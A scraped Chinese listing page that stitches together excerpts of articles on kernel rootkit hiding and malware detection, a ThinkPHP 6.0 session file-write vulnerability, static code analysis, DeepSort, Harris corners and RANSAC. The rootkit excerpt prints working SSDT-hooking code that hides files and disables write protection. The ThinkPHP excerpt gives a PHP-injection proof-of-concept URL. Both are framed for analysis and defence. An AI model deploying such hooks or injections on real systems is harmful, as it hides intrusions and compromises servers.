精华内容
下载资源
问答
  •  近些年来,恶意代码依赖一些特殊Native API函数和内核系统函数进行感染、传播、隐藏这种趋势愈加明显代码,并大量使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新技术。传统恶意...

    1 引言

      近些年来,恶意代码依赖一些特殊的Native API函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显代码,并大量的使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新的技术。传统的恶意代码查杀技术遭到了严重的挑战。

        恶意代码开发者想尽了各种办法,对进程、文件、注册表、系统服务、网络服务等各方面信息进行了控制,内核级的恶意代码做得更加巧妙和隐蔽。

    从技术上进行分类,恶意代码使用的技术手段可以分为:
    (1)用户模式系统调用劫持;
    (2)核心模式系统调用劫持;
    (3)核心模式数据篡改;
    (4)核心模式中断处理程序劫持。

    2 对进程信息的控制

      大家知道,windows操作系统给我们提供了两套公开的API函数来获得进程信息:一套是PSAPI,通过EnumProcesses()函数来枚举进程,另一套是ToolHelp32,通过Process32First()和Process32Next()函数来获得整个进程列表.现在运行在用户层的恶意代码一般都会让自己在系统进程列表中消失,原理是HOOK上述进程相关API函数,将自身进程从最后的进程列表中去除,但这样做一般很容易发现。如图2所示,PSAPI和ToolHelp32都是通过调用位于ntdll.dll中的一个native API函数NtQuerySystemInformation()获取进程信息,而函数NtQuerySystemInformation()是依靠内核函数ExpGetProcessInformation()遍历ActiveProcessLinks,通过EPROCESS结构(其中包含ActiveProcessLinks项,类型为LIST_ENTRY)获得真实进程列表信息。整个环节中,内核态的恶意代码可以试图通过HOOK函数NtQuerySystemInformation()和函数ExpGetProcessInformation(),将自己的相关进程从返回结果中去除或者直接从ActiveProcessLinks摘除自身相关进程信息, 即要把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除。另外几乎所有的反病毒查杀软件和系统进程软件使用 PsSetCreateProcessNotifyRoutine()来监视进程创建和销毁,但是令人遗憾的是该函数最多只能设置8个回调函数,因此有不少内核级的恶意代码被动隐藏自身相关进程的时候,还主动得销毁掉其它进程监控软件的使用的回调函数,让进程监控失效。

    3 对文件和注册表信息的控制

      内核恶意代码往往要对自身宿主文件和所在目录进行隐藏,达到保护自身的目地。在NT内核操作系统中,与文件和目录相关的API函数基本上都是调用ntdll.dll中的几个Native API函数NtQueryVolumeInformationFile、NtQueryDirectoryFile、NtCreateFile、NtVdmControl(对应内核态下为ZwQueryVolumeInformationFile、ZwQueryDirectoryFile、ZwCreateFile、ZwVdmControl),因此许多内核级的恶意代码基本上都会HOOK上面的这些函数。我们以HOOK函数ZwQueryDirectoryFile为例来阐明实现的基本原理:自己定义一个HookZwQueryDirectoryFile函数来处理一个名为alice的文件名,调用老的ZwQueryDirectoryFile获取真实文件和目录信息列表,然后在这个文件和目录信息列表中删除我们要隐藏的“alice”相关信息,最后将加工后的结果返回。对注册表的信息的控制也是采用同样的方法,对ntdll.dll中的NtEnumerateKey 、NtEnumerateValueKey或者它们的内核版本ZwEnumerateKey 、ZwEnumerateValueKey进行HOOK实现隐藏注册表。

    //示例程序:自定义HOOK函数
    ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile;//定义指向ZwQueryDirectoryFile函数的指针
    NTSTATUS NTAPI HookZwQueryDirectoryFile(
                                           IN HANDLE FileHandle,
                                           IN HANDLE Event OPTIONAL,
                                           IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                           IN PVOID ApcContext OPTIONAL,
                                           OUT PIO_STATUS_BLOCK IoStatusBlock,
                                           OUT PVOID FileInformation,
                                           IN ULONG FileInformationLength,
                                           IN FILE_INFORMATION_CLASS FileInformationClass,
                                           IN BOOLEAN ReturnSingleEntry,
                                           IN PUNICODE_STRING FileName OPTIONAL,
                                           IN BOOLEAN RestartScan)
    {
        NTSTATUS dwStAtus;                            //返回状态
        PFILE_BOTH_DIRECTORY_INFORMATION lpInfo;      //定义一个文件目录信息结构
    //调用老的ZwQueryDirectoryFile获取文件和目录信息列表
    dwStAtus=pOldZwQueryDirectoryFile(                                                                                          FileHandle,
      Event,
                                        ApcRoutine,                                                                 ApcContext ,                                                                     IoStatusBlock,                                                                       FileInformation,                                                                       FileInformationLength,                                                                        FileInformationClass,                                                                      ReturnSingleEntry,                                                                       FileName,                                                                        RestartScan);  
    //以下在文件和目录信息列表中“过滤”我们要隐藏的“alice”,将加工后的结果返回
         if (FileInformationClass == FileBothDirectoryInformation)
         {
             if (dwStAtus == STATUS_SUCCESS)
         {
          lpInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;  //文件信息存在lpInfo结构
               if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
           {
                 if ((ULONG)(lpInfo->NextEntryOffset) != 0)
             {
                    FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
    RtlCopyMemory(lpInfo,
    (PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset)),
    FileInformationLength-(((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
                else
                {
                   FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
                   return dwStAtus;
                 }
                //此时返回状态码STATUS_NO_SUCH_FILE;
        }
       do{
    if (RtlCompareMemory(lpInfo->FileName,L"alice",10) == 10)
    {
    if ((ULONG)(lpInfo->NextEntryOffset) != 0)
    { FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
    RtlCopyMemory(lpInfo,(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+ (ULONG)(lpInfo->NextEntryOffset)),FileInformationLength-
    (((ULONG)lpInfo + (ULONG)(lpInfo->NextEntryOffset))-(ULONG)FileInformation)); }
    else
    { FileInformationLength -= (ULONG)(lpInfo->NextEntryOffset);
               break;}
         continue;
         //此时返回状态码STATUS_NO_SUCH_FILE;
          }
            if (lpInfo->NextEntryOffset != 0)
    {lpInfo=(PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)lpInfo+(ULONG)(lpInfo->NextEntryOffset));}
        } while (lpInfo->NextEntryOffset != 0);
      }
    }
    return dwStAtus;
    }
    对应的在恶意代码驱动程序入口DriverEntry()也要做相应的处理,通过修改系统服务信息表将系统对ZwQueryDirectoryFile的调用指向对HookZwQueryDirectoryFile的调用,完成HOOK过程.

    //利用pOldZwQueryDirectoryFile指向原有函数ZwQueryDirectoryFile
    pOldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(
    KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]);
    _asm   //嵌入汇编模式,取消写保护
    {
      PUSH EAX
    CLI                    //禁止中断
      MOV EAX, CR0           //将CR0中写到EAX寄存器
      AND EAX, NOT 10000H    //禁止WP标志位
      MOV CR0, EAX           //写回CRO
      POP EAX
    }
    KeServiceDescriptorTable->ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]= (ULONG)HookZwQueryDirectoryFile;//将原来的ZwQueryDirectoryFile调用指向我们自定义的函数.
    _asm //恢复写保护
    {
    PUSH EAX
    MOV EAX, CR0          //将CR0中写到EAX寄存器
      OR EAX, 10000H        //恢复WP标志位
      MOV CR0, EAX          //写回CRO
      STI                   //允许中断
      POP EAX
    }

    4对系统服务和网络信息的控制

        对系统服务的控制主要是针对advapi32.dll的四个系统函数EnumServiceGroupW
    、EnumServicesStatusExW、EnumServicesStatusExA、EnumServicesStatusA进行HOOK,过滤掉返回结果中的恶意代码启动的服务信息,原理和前面的文件信息控制几乎是一样的。对网络信息的控制方法更多,比如在TDI层次上进行拦截,TDI 导出了两个设备 “\\Device\\Tcp ”与 “\\Device\\Udp”,内核恶意代码用设备过滤驱动的方法把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动,这样可以达到以达到隐藏任意端口的目的。在NDIS驱动层上进行拦截,恶意代码自己处理自身远程控制用的封包。

    5 恶意代码的手工分析方法  

    每一种恶意代码分析方法都有自己的特点,能够分析的恶意代码特征也有较大差异,手工进行恶意代码分析需要几种方法联合使用,相互之间取长补短。通常情况下,手工分析恶意代码需要完成以下几个步骤:

    S1、利用静态特征分析的方法分析恶意代码的加密和压缩特性(比如各种壳),提取恶意代码的有关的文件名称、文件校验、特征码、特征字符串等特征码;

    S2、通过动态调试法来评估恶意代码运行过程中对系统文件、注册表和网络通讯状态的影响。由于这种分析方法需要实际运行恶意代码,因此可能会对恶意代码所在的操作系统构成严重安全威胁,一般处理方法是在虚拟机上运行恶意代码,并且建立前后注册表和系统快照;

    S3、通过静态语义分析,根据S1和S2的结果判断恶意代码的功能模块构成、具体功能、可能使用的技术和实现方式;

    S4、利用S3分析结果,再次进行跟踪调试,重点观测静态分析过程中不太明确的功能领域和实现方式;

    S5、对恶意代码所有技术特征进行评估,并给出详细的报告。

        根据上述的分析过程描述,虽然可以得到比较全面的恶意代码信息,但是可以看出一方面手工分析恶意代码是非常耗时和低效率的,另一方面需要分析人员具有较高的专业素质和分析经验。

    6 当前恶意代码自动检测技术现状分析

      恶意代码的分析方法有多种类型,一般我们可以将恶意代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、基于代码行为的分析方法三种。目前大部分反恶意代码软件所用的自动检测方法有病毒特征码、启发法、完整性验证等:

    (1)基于特征码的检测法:这是使用最广泛和最古老的方法,通过密罐系统提取恶意代码的样木分析采集他们的独有的特征指令序列,当反病毒软件扫描文件时,将当前的文件与病毒特征码库进行对比,判断是否有文件片段与已知特征码是否匹配;

    (2)启发式检测法:这种方法的思想是为恶意代码的特征设定一个阈值,扫描器分析文件时,当文件的类似恶意代码的特征程度,就将其看作是恶意代码。例如对于某种恶意代码,一般都会固定的调用特定的一些内核函数(尤其是那些与进程列表,注册表和系统服务列表相关的函数),通常这些函数在代码中出现的顺序也有一定的规律,因此通过对某种恶意代码调用内核函数的名称和次数进行分析,我们可以建立一个个恶意代码内核函数调用集合,比较待查程序调用的内核函数和数据库中已知恶意代码的内核函数调用集合的贴近度;

    (3) 基于行为的检测法:利用病毒的特有行为特征来监测病毒的方法。当程序运行时,监视其行为,如果发现了病毒行为,立即报警,另外行为特征识别通常需要使用类神经网络一类方法来训练分析器,并能够准确的用形式化的方法来定义恶意代码的特征。

    (4)完整性验证法:这种方法主要是检查程序关键文件(比如重要的SYS和DLL)的CRC或者MD5的值与正常值进行比较。

    (5) 基于特征函数的检测方法:恶意代码要实现特定功能,必要使用系统的API函数(包括内核级和用户级的),因此如果某个程序调用了危险的特定函数集合,我们有理由怀疑其可能是恶意代码.在程序加载之前,对于引入的任何程序文件,我们扫描其代码获得其系统函数集合(这个过程可能需要代码逆向技术和虚拟机配合),与我们实现根据对多个恶意代码分析设置好的一系列特征函数集合做交集运算,就可以知道该程序文件使用了哪些危险的函数,并大致可以估计其功能和属于哪种类型.

        方法一的缺点是新病毒特征码的提取速度要落后于病毒的传播,另外的缺点是无法检测到那些在运行过程中能够进行多态变形的恶意代码。方法二和方法三缺点是误报率比较高、不能识别具体病毒类型,实现时一般与神经网络和模糊聚类等方法一起使用,实现起来难度很高。方法四的检测能力十分有限,无法检测并发现动态的恶意代码和新的代码。

    除此之外,实际开发中我们主要还使用以下技术:

    (1)比较法。通过直接利用一些底层方法在内核驱动中直接获得信息,再与通过常规使用系统函数方法获取信息比较,如果发现两种方法得到的信息不一样,我们有理由怀疑存在恶意代码。

    (2)进程状态分析法。例如通过内核线程函数KiWaitInListHead、KiWaitOutListhead等和一些寄存器标志来检测从那些ActiveProcessLinks上摘除自身隐藏的恶意代码进程。

    (3)统计法。根据操作系统取某项系统信息所执行的CPU操作执行指令和指令时间的统计特征与真正系统的比较,我们也可以发现一些恶意代码的踪迹。著名的内核Rootkit检测方法EPA可以说属于这一类.

        以上方法中(1)和(2)较为成熟,许多杀毒软件都是采用了,方法比较可靠,但速度慢。方法(3)速度较快,但目前还不成熟,误报率较高,离真正实用高效还有很长的一段路要走,我们以后还将继续在这方面做一些工作。


    文章转载自网管网:http://www.bitscn.com/network/hack/200803/131095.html

    男人本色 商务休闲男装 您身边的男士衣橱:http://bense360.taobao.com

    展开全文
  • thinkphp官方6.0版本被爆出高危网站代码漏洞,该漏洞可导致网站被植入网站木马后门文件也叫webshell,具体产生原因是session ID参数值这里并未对其做详细安全过滤效验,导致可以远程修改POST数据包将session...

    大年初五,根据我们SINE安全的网站安全监测平台发现,thinkphp官方6.0版本被爆出高危的网站代码漏洞,该漏洞可导致网站被植入网站木马后门文件也叫webshell,具体产生的原因是session ID参数值这里并未对其做详细的安全过滤与效验,导致可以远程修改POST数据包将session的值改为恶意的后门代码,发送到服务器后端并生成PHP文件直接生成,可导致网站被攻击,服务器被入侵,关于该thinkphp漏洞的详情,我们SINE安全来跟大家分析一下。

    thinkphp是国内用的比较多的一套开源系统,采用的是php+mysql架构开发,基于该框架的开发较容易与维护,深受很多站长以及企业的青睐,2018-2019年thinkphp的漏洞就层出不穷,像之前的3.23版本,ThinkPHP 5.0缓存漏洞、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本都存在这漏洞。

    目前的新版本6.0存在着session任意文件上传漏洞,我们SINE安全工程师来进行详细的安全分析与代码的安全检测,再index控制器里我们发现可以写入session来进行控制代码,首先我们看下代码:如下图所示

    以上代码是用来获取name的参数值并将值里的内容写到session中去,我们来本地搭建一套TP6.0版本的环境,来测试一下生成的session文件会到哪里去。http://测试网址/tp6/public/index.php/index/testsession?name=<?php%20phpinfo();?>当get 访问该页面的时候就会在网站根目录下的runtime文件夹里的session目录下生成一个PHP文件,我们可以看得到。那到底是那段代码导致可以写入文件名的呢?我们仔细看下TP框架里的store.php代码,追踪到253到270行这里,调用了一个参数来进行写入文件的操作,writefile($filename,$data)我们来追踪下这个函数接下来使用到是哪里的值,看下图:

    原来是追踪到了sessionID值里去了,也就是POST数据包里的phpsessid,导致该值可以在远程进行伪造与篡改,漏洞利用截图:

    经过我们SINE安全的网站安全测试发现,thinkphp的漏洞利用条件是服务器开启session功能,默认代码是不开启的,有些第三方开发公司在给客户网站以及平台开发的时候会用到session功能来控制用户的登录状态以及权限所属判断,可导致网站被攻击,被篡改,数据库内容被修改等攻击情况的发生,在这里我们建议网站的运营者对该代码漏洞进行修复,对session的判断以及写入做拦截与效验,不允许直接.php文件的session值写入,如果您对代码不是太懂的话也可以找专业的网站安全公司来帮您修复网站漏洞

    展开全文
  • 赖建新是鉴释静态代码分析工具爱科识(Xcalscan)研发主管。你现在工作内容是什么?我现在工作是带领鉴释核心开发团队开发下一代程序静态分析...在各种分析的基础上结合符号执行和形式化验证等手段,检测用...

    bd4c1651009445896294561b84799442.png

    赖建新是鉴释静态代码分析工具爱科识(Xcalscan)的研发主管。

    你现在的工作内容是什么?

    我现在的工作是带领鉴释核心开发团队开发下一代的程序静态分析工具(SAST),这个分析引擎是鉴释静态分析工具工具产品的核心组件。分析引擎将用户输入的源代码转换为编译器中间表示;基于中间表示进行流敏感分析,过程间分析,上下文敏感分析和对象敏感分析;在各种分析的基础上结合符号执行和形式化验证等手段,检测用户输入程序是否存在各类缺陷或者安全漏洞,是否存在违反各类源代码安全编码规范或用户自定义规则的代码。

    什么是静态代码分析?

    静态代码分析是指在不实际执行程序的情况下,对代码语义和行为进行分析,由此找出程序中由于错误的编码导致异常的程序语义或未定义的行为。通俗的说,静态代码分析就是在代码编写的同时就能找出代码的编码错误。你不需要等待所有代码编写完毕,也不需要构建运行环境,编写测试用例。它能在软件开发流程早期就发现代码中的各种问题,从而提高开发效率和软件质量。

    静态代码分析现在面临最大的难题是什么?

    现代软件系统规模越来越大,代码行数从数万或数十万行规模增长到数千万行;系统复杂度也越来越高,从传统的单机系统变为分布式系统,同构系统变为异构系统;而且软件开发的编程语言也从使用单一的语言发展为多种语言协同开发。这些变化都对SAST工具带来了巨大挑战。SAST工具首先必须要有能同时检测多种语言代码及其互操作的能力,例如要检测Android应用程序的漏洞,SAST除了要能支持检测C/C++和Java语言外,还必须支持JNI,才能有效的检测Byte Code和Native Code互操作导致的各类问题。此外对静态程序分析工具还有这些维度的评价指标:一是漏报率和误报率;漏报率或误报率过高会导致SAST工具的实用性和有效性显著降低,无法有效提高软件开发效率和软件质量。二是检测规则是否容易扩展及按用户特定需求定制;除了支持常见的工业安全编码标准外,SAST工具应该还能支持用户自定义的编码规范和业务逻辑规则。三是分析所需的时间和资源占用;如果SAST工具一次扫描所需的时间太长或者占用内存资源太大,将难以和程序员日常的开发工作和流程整合,进而无法起到提高开发效率和软件质量的目的。

    在编译器技术领域,什么是抽象语法树 (AST)?

    抽象语法树是程序源代码结构的树状表示。程序源代码经过词法分析器(Lexer)得到各种不同种类的单词(Token),再由语法分析器(Parser)分析和语法检查后得到抽象语法树(AST)。抽象语法树的根节点表示整个程序,内部节点是抽象语法结构或者单词。AST的核心在于它能与输入源代码中的各个语法元素一一对应。对于 附图1 的C语言源代码,它对应的AST如 附图2 所示。

    988a62d5aa12d6b6c354adf5d574281a.png

    附图1:while循环的C代码

    49a36e60c3aa15b4f20bdb61c661c7e6.png

    附图2:while循环的AST

    什么是中间表示(IR)

    IR是编译系统或程序静态分析系统的核心,它是源程序在编译器或者静态分析器的内部表示,所有的代码分析,优化和转换工作都是基于中间表示进行的。IR一般由AST经过类型检查和规范化后转换而来。对编译器来说,它在中间表示上做完分析和优化工作后,将中间表示转换为其他语言源代码或者汇编/目标语言。而静态分析工具则会在中间表示上进行语义或未定义的行为分析,然后结合各种预定义规则或者用户自定义规则检测源代码的各种漏洞或缺陷。在现代编译器和静态分析工具中,通常会使用控制流图(Control Flow Graph,CFG)来表示程序的控制流,使用静态单赋值(Static Single Assignment,SSA)来表示程序中数据的使用-定义链(Use-Def Chain),这两个关键数据结构都是AST中没有的。对于附图1 的C语言源代码,它对应的IR如 附图3 所示。

    44003d1772842a1a7f28c6edce8fa64d.png

    附图3:while循环的IR

    查找源代码缺陷时,为什么在IR级别上进行静态代码分析比在AST级别上准确性更高?

    根据前面的描述,对AST进行类型检查和规范化,即可转换为IR。AST上适合做一些代码规范的检查,例如标识符命名规范检查或常见的编码惯用法检查,AST上的检查一般使用图模式匹配的方法。而IR上能进行更深层次的流敏感分析,过程间分析,上下文敏感分析和对象敏感分析等等,从而实现各种更高难度的程序漏洞检查。相比IR,AST有这些明显的劣势:AST不能很好的表示控制流和数据流,AST做为输入源代码的树状表示,它本身就缺乏表示控制流和控制流的方式。AST是非规范化的,相同语义的结构如果写法不同,它们在AST上的表示也会不同。例如C语言中使用for、while和if/goto表达的循环结构,它们的AST是不一样的;而转换为IR后产生的控制流图是一样的。规范化使得对程序语义的分析更容易,使得检测精确度更高。

    IR级别上的代码分析还能提供哪些其它好处?

    一个最明显的好处是通常AST都是输入语言相关的,比如C程序有对应的C AST,Java程序有对应的Java AST;而IR一般来说是输入语言无关的,不管是C源代码、Java源代码或者其他语言的源代码,它们都能被转换到一个语言无关的IR上。我们将各种分析和检测引擎放置在IR上,那么相同的分析引擎和检测引擎,搭配不同语言的检测规则,就可以实现对不同语言编码缺陷的检测。使用IR的另一个好处是相对AST,IR会更稳定。例如现在C++规范每3年就会出一个新标准,引入新的语法结构,意味着AST每3年就会出现新的节点需要处理。如果将分析引擎建立在AST基础上,那么分析引擎也需要每3年更新一次处理这些新节点;而如果将分析引擎建立在IR基础上,则仅需将新的AST节点转换为已有的IR结构或操作,从而保持分析引擎基本不受影响。

    在这方面,爱科识(Xcalscan)如何与其他静态分析工具(SAST)区分开来?

    综合来看,Xcalscan的优势主要来自以下三方面:

    一是,创新的可扩展的流敏感(Flow Sensitive)、对象敏感(Object Sensitive)、上下文敏感(Context Sensitive)的分析引擎。流敏感是指分析引擎会区分程序变量在不同执行路径下的定义和使用情况,并仅对会导致错误的执行路径报告警告;对象敏感是指分析引擎能区分不同的对象实例或同一个对象不同的成员,仅对会导致错误的对象或对象成员报告警告;上下文敏感是指分析引擎能区分相同函数在不同调用点的上下文,仅对会导致错误的调用点报告错误。Xcalscan通过综合使用静态单赋值(SSA),虚拟变量(Virtual Symbol),基于SSA的别名分析(Alias Analysis)和过程间分析(Inter-Procedure Analysis)来实现了分析引擎的流敏感、对象敏感和上下文敏感。基于这个分析引擎,Xcalscan能有效的报告出每个问题产生的源头在哪里,数据经过了什么样的路径和函数调用点到达了最终问题会显现的地方。Xcalscan图形化的用户界面会以流图(Flow Graph)的方式,展示问题是如何从源头引入,一步步推进,并最终会在什么位置触发。

    二是,综合了资源建模、数据流分析、符号执行和形式化验证等多种方式的漏洞检测引擎。在应用规则检测程序漏洞时,Xcalscan会综合使用数据流分析,符号执行和形式化验证的方式检测程序中是否存在违反该规则的代码。

    三是,可扩展的用户自定义规则引擎。Xcalscan定义并开放了分析和规则检查API用于开发用户自定义规则。用户可以通过调用相关API指定用户代码或第三方库函数的属性及副作用,前置或后置条件,检查规则等。Xcalscan规则引擎会自动读取用户规则并附加于代码的中间表示上,在完成程序静态分析后,规则引擎会判断用户规则中的前置或后置条件、检查规则等是否满足并给出警告。

    综上所述,Xcalscan作为新一代的SAST工具,它从设计之初就能支持多种语言及不同语言间的互操作,目前已经支持C/C++,Java和JNI。后续版本将支持Javascript和Python等更多的程序设计语言。Xcalscan扫描结果的漏报率和误报率都较低,扫描所需的处理器和内存资源少,且支持用户自定义规则。

    作者:赖建新有着丰富的编译器优化和高级程序静态分析的经验。在2006年获得清华大学计算机科学硕士学位之后,他加入了惠普的编译器团队,先后担任编译器开发工程师,编译器后端架构师和项目经理等职位,参与了开源编译器Open64,HP-UX产品编译器aCC和HP Non-Stop编译器项目,并于2018年加入鉴释。

    2b4309188f4c1dd695863d772d3a847c.png
    展开全文
  • 提出了基于普通PC机声卡LabVIEW和MATLAB虚拟式语音信号采集与分析处理设计方案。MATLAB http://blog.sina.com.cn/s/blog_a5b5b79e0101rtqj.html具有很强大数学计算和图形绘制功能,但它在界面开发能力、数据...
  • 计算机视觉–Harris角点检测实现与分析(二)一、Harris角点检测1.1 基本原理1.2 数学表达二、代码实现三、结果与分析3.1 不同场景R值讨论3.2 参数k对角点检测的影响四、总结 关于Harris角点检测的基本概念和不同...
  • 多目标跟踪 DeepSort 代码与原理分析

    千次阅读 2019-09-02 17:51:27
    关于 Deep Sort 一些理解代码部分原理部分 最近学习了多目标跟踪算法–Deep Sort,打个总结。 我认为是目前工程上效果还不错跟踪算法。首先,虽然算法类似于 two stages结构,没法完成端到端训练,但是...

    最近学习了多目标跟踪算法–Deep Sort,打个总结。

    我认为是目前工程上效果还不错的跟踪算法。首先,虽然算法类似于 two stages的结构,没法完成端到端的训练,但是可以让使用者更好的针对跟踪效果分别对检测器或者跟踪器做优化。其次,基本可以达到real time的程度,速度可以根据ReID的尺度进行调节,而且精度也表现不错,可作为比赛的baseline使用。最终,deepsort借鉴了sort的思想,加以完善,易于初学者学习与使用。

    网上各种博客解释较多,但大多数都仅对论文翻译或代码的复制粘贴,对算法的理解帮助较小。下面给出我的学习轨迹和自己的思考,望各位针对不足予以指正。


    论文地址:https://arxiv.org/pdf/1703.07402.pdf

    代码地址:https://github.com/nwojke/deep_sort

    推荐博客①:
    https://blog.csdn.net/sgfmby1994/article/details/98517210​
    博主用具体实例对代码流程进行讲解,且print了代码中很多变量的具体形式,对于理解很有帮助。

    推荐博客②:
    https://blog.csdn.net/zjc910997316/article/details/83721573​
    博主的代码流程图比较清晰。我借鉴了作者Matching Cascade与IOU Assignment 部分的流程图,并对主要代码架构部分的流程图进行了完善。


    下面是我对deepsort的一些理解:

    代码部分

    首先给出完善的代码流程图(已添加子函数名称以及注释):
    在这里插入图片描述下面是推荐博客②中的级联匹配模块与IOU匹配模块的流程图:
    在这里插入图片描述
    代码部分的细节我不再赘述,博客①中叙述足够详尽,各位看官可以移步前往。对于代码模块较为繁杂的情况,针对代码思路进行一个梳理,可以清楚get到作者设计算法的思路。

    原理部分

    DeepSort用来跟踪的思路较为明朗,也是目前主要流行的跟踪思路:detection + track 。 所以代码也以检测结果为输入:bounding box、confidence、feature 。conf主要用于进行一部分的检测框的筛选;bounding box与feature(ReID)用于后面与跟踪器的match计算;首先是预测模块,会对跟踪器使用卡尔曼滤波器进行预测。作者在这里使用的是卡尔曼滤波器的匀速运动和线性观测模型(意味着只有四个量且在初始化时会使用检测器进行恒值初始化)。其次是更新模块,其中包括匹配,追踪器更新与特征集更新。在更新模块的部分,根本的方法还是使用IOU来进行匈牙利算法的匹配,只不过作者对于数据顺序有一些自己的处理:

    1.使用级联匹配算法:

    针对每一个检测器都会分配一个跟踪器,每个跟踪器会设定一个time_since_update参数。如果跟踪器完成匹配并进行更新,那么参数会重置为0,否则就会+1。实际上,级联匹配换句话说就是不同优先级的匹配。在级联匹配中,会根据这个参数来对跟踪器分先后顺序,参数小的先来匹配,参数大的后匹配。也就是给上一帧最先匹配的跟踪器高的优先权,给好几帧都没匹配上的跟踪器降低优先权(慢慢放弃)。至于使用级联匹配的目的,我引用一下博客②里的解释:

    当一个目标长时间被遮挡之后,kalman滤波预测的不确定性就会大大增加,状态空间内的可观察性就会大大降低。假如此时两个追踪器竞争同一个检测结果的匹配权,往往遮挡时间较长的那条轨迹的马氏距离更小,使得检测结果更可能和遮挡时间较长的那条轨迹相关联,这种不理想的效果往往会破坏追踪的持续性。这么理解吧,假设本来协方差矩阵是一个正态分布,那么连续的预测不更新就会导致这个正态分布的方差越来越大,那么离均值欧氏距离远的点可能和之前分布中离得较近的点获得同样的马氏距离值。所以,作者使用了级联匹配来对更加频繁出现的目标赋予优先权。当然同样也有弊端:
    可能导致一些新产生的轨迹被连接到了一些旧的轨迹上。但这种情况较少。

    2.添加马氏距离与余弦距离:

    实际上是针对运动信息与外观信息的计算。两个名词听着较为陌生,而实际上换句话解释,马氏距离就是“加强版的欧氏距离”。它实际上是规避了欧氏距离中对于数据特征方差不同的风险,在计算中添加了协方差矩阵,其目的就是进行方差归一化,从而使所谓的“距离”更加符合数据特征以及实际意义。马氏距离是对于差异度的衡量中,的一种距离度量方式,而不同于马氏距离,余弦距离则是一种相似度度量方式。前者是针对于位置进行区分,而后者则是针对于方向。换句话说,我们使用余弦距离的时候,可以用来衡量不同个体在维度之间的差异,而一个个体中,维度与维度的差异我们却不好判断,此时我们可以使用马氏距离进行弥补,从而在整体上可以达到一个相对于全面的差异性衡量。而我们之所以要进行差异性衡量,根本目的也是想比较检测器与跟踪器的相似程度,优化度量方式,也可以更好地完成匹配。

    3.添加深度学习特征:

    这一部分也就是ReID的模块,也是deepsort的亮点之一。deepsort在对于sort的改进中加入了一个深度学习的特征提取网络,网络结构部分各位看官可以移步论文。作者将所有confirmed的追踪器(其中一个状态)每次完成匹配对应的detection的feature map存储进一个list。存储的数量作者使用budget超参数(100帧)进行限制(我认为如果实时性效果不好的话,可以调低这个参数加快速度)。从而我们在每次匹配之后都会更新这个feature map的list,比如去除掉一些已经出镜头的目标的特征集,保留最新的特征将老的特征pop掉等等。这个特征集在进行余弦距离计算的时候将会发挥作用。实际上,在当前帧,会计算第i个物体跟踪的所有Feature向量和第j个物体检测之间的最小余弦距离。

    4.IOU与匈牙利算法匹配:

    这个方法是在sort中被提出的。又是比较陌生的名词,我接着“换句话说”。实际上匈牙利算法可以理解成“尽量多”的一种思路,比如说A检测器可以和a,c跟踪器完成匹配(与a匹配置信度更高),但是B检测器只能和a跟踪器完成匹配。那在算法中,就会让A与c完成匹配,B与a完成匹配,而降低对于置信度的考虑。所以算法的根本目的并不是在于匹配的准不准,而是在于尽量多的匹配上,这也就是在deepsort中作者添加级联匹配与马氏距离与余弦距离的根本目的,因为仅仅使用匈牙利算法进行匹配特别容易造成ID switch,就是一个检测框id不停地进行更换,缺乏准确性与鲁棒性。那什么是匹配的置信度高呢,其实在这里,作者使用的是IOU进行衡量,计算检测器与跟踪器的IOU,将这个作为置信度的高低(比较粗糙)。

    还有一些超参数,我也已经在代码流程的部分明确讲解了,这些超参数或进行阈值的作用,或进行循环次数的限定,不断帮助算法完成最优匹配与追踪器更新。之后,将未匹配的追踪器delete,将未匹配的检测器初始化,将匹配的追踪器使用对应的检测器进行赋值,作为输出,进入下次循环。

    以上是我对DeepSort的一些理解与思考,如果有不正确或者不严谨的地方,欢迎大家予以指正。并且对所有我参考的博客的作者予以感谢。且欢迎各路大神带我这个小白一起打比赛&交流。笔芯!


    其余参考博客:

    1.https://blog.csdn.net/lzhf1122/article/details/72935323

    2.https://blog.csdn.net/cdknight_happy/article/details/79731981

    3.https://blog.csdn.net/HaoBBNuanMM/article/details/85555547

    展开全文
  • 计算机视觉--Harris角点检测实现与分析(二)一、Harris角点检测1.1 基本原理1.2 数学表达二、代码实现三、结果与分析3.1 不同场景R值讨论 关于Harris角点检测的基本概念和不同场景下的检测结果分析已记录在上一篇...
  • 该博文将openCV中RANSAC代码全部挑选出来,进行分析和讲解,以便大家更好理解RANSAC...关于RANSAC算法一些应用,可以看我另一篇博客,利用SIFT和RANSAC算法(openCV框架)实现物体的检测与定位,并求出变换矩阵
  • 这是作者网络安全自学教程...这篇文章将详细总结恶意代码检测技术,包括恶意代码检测的对象和策略、特征值检测技术、校验和检测技术、启发式扫描技术、虚拟机检测技术和主动防御技术。基础性文章,希望对您有所帮助~
  • 7.入侵防护技术(布防新型入侵检测技术)(IPS) 8.防火墙入侵检测联动技术 二、被动防御: 1.恶意代码扫描技术 2.传统入侵检测技术(IDS) 3.防火墙技术 4.网络监控技术 三、主动攻击: 中断——对可用性进行...
